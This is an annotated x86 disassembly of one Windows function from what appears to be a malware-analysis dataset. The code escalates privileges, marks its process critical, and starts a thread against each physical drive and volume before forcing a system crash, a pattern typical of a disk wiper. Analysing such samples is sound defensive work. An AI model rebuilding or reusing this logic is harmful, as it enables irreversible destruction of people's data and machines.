Function at 0x4011b0
Capabilities:
Create process on windows
Create thread
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x418004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea eax, [ebp - 0x1c]
push eax
push 8
call edi
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x401252
lea eax, [ebp - 0x10]
push eax
push 4
lea eax, [ebp - 0x18]
push eax
push 0x14
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x401252
cmp dword [ebp - 0x18], 0
jne 0x401252
push 0x104
push 1
call fcn.004038f4
add esp, 8
mov ebx, eax
push 0x104
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x3c
push 1
call fcn.004038f4
mov edi, dword [sym.imp.SHELL32.dll_ShellExecuteExA]
mov esi, eax
add esp, 8
mov dword [esi + 0x10], ebx
mov dword [esi + 0xc], str.runas
mov dword [esi], 0x3c
nop
push esi
call edi
test eax, eax
je 0x401240
push ebx
call fcn.00404c14
add esp, 4
jmp 0x4012b9
mov esi, dword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
lea eax, [ebp - 5]
push eax
push 0
push 1
push 0x14
call esi
push 4
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 1
push eax
push 0x1d
call edi
push eax
call dword [sym.imp.ntdll.dll_NtSetInformationProcess]
push 0x100
call edi
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_SetProcessAffinityMask]
lea eax, [ebp - 5]
push eax
push 0
push 1
push 0x11
call esi
lea eax, [ebp - 5]
push eax
push 0
push 1
push 0x12
call esi
lea eax, [ebp - 5]
push eax
push 0
push 1
push 0x13
call esi
push 0x419180
push 0
push 0
push 0
push 0
push 0
push 0
push 0x220
push 0x20
push 2
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0
push eax
mov word [ebp - 0xc], 0x500
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
push 0x20
push 1
call fcn.004038f4
add esp, 8
mov dword [eax], 0x10000000
push 0x41917c
push 0
push eax
mov dword [eax + 4], 2
mov dword [eax + 8], 0
mov dword [eax + 0x14], 0
mov dword [eax + 0x18], 2
mov ecx, dword [0x419180]
push 1
mov dword [eax + 0x1c], ecx
call dword [sym.imp.ADVAPI32.dll_SetEntriesInAclA]
push 0x1000
push 1
call fcn.004038f4
push 0x1000
push 0xffffffffffffffff
push eax
mov dword [0x419178], eax
call fcn.00402400
push 0xffff
push 1
call fcn.004038f4
mov esi, eax
push 0xffff
push 1
mov dword [ebp - 0x1c], esi
call fcn.004038f4
add esp, 0x24
mov ebx, eax
xor edi, edi
mov dword [ebp - 0x14], ebx
push 0xffff
push esi
push edi
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceA]
test eax, eax
je 0x4013e7
mov eax, esi
cmp byte [eax], 0
je 0x4013e4
nop
push str.PhysicalDrive
push esi
call fcn.00401fb0
add esp, 8
cmp eax, esi
je 0x4013b4
push str.HarddiskVolume
push esi
call fcn.00401fb0
add esp, 8
cmp eax, esi
jne 0x4013cf
push 0
push 0
push esi
push 0x401050
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
movzx ecx, di
inc edi
mov dword [ebx + ecx*4], eax
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4013d4
sub ecx, edx
inc esi
add esi, ecx
cmp byte [esi], al
jne 0x401390
mov esi, dword [ebp - 0x1c]
push esi
call fcn.00404c14
mov esi, ebx
add esp, 4
mov ebx, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edi, 0xff
nop dword [eax]
mov eax, dword [esi]
test eax, eax
je 0x40140b
push 0xffffffffffffffff
push eax
call ebx
add esi, 4
sub edi, 1
jne 0x401400
push dword [ebp - 0x14]
call fcn.00404c14
add esp, 4
lea eax, [ebp - 0x10]
push eax
push 6
push edi
push edi
push edi
push 0xc0000032
call dword [sym.imp.ntdll.dll_NtRaiseHardError]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401445
mov esp, ebp
pop ebp
ret 0x10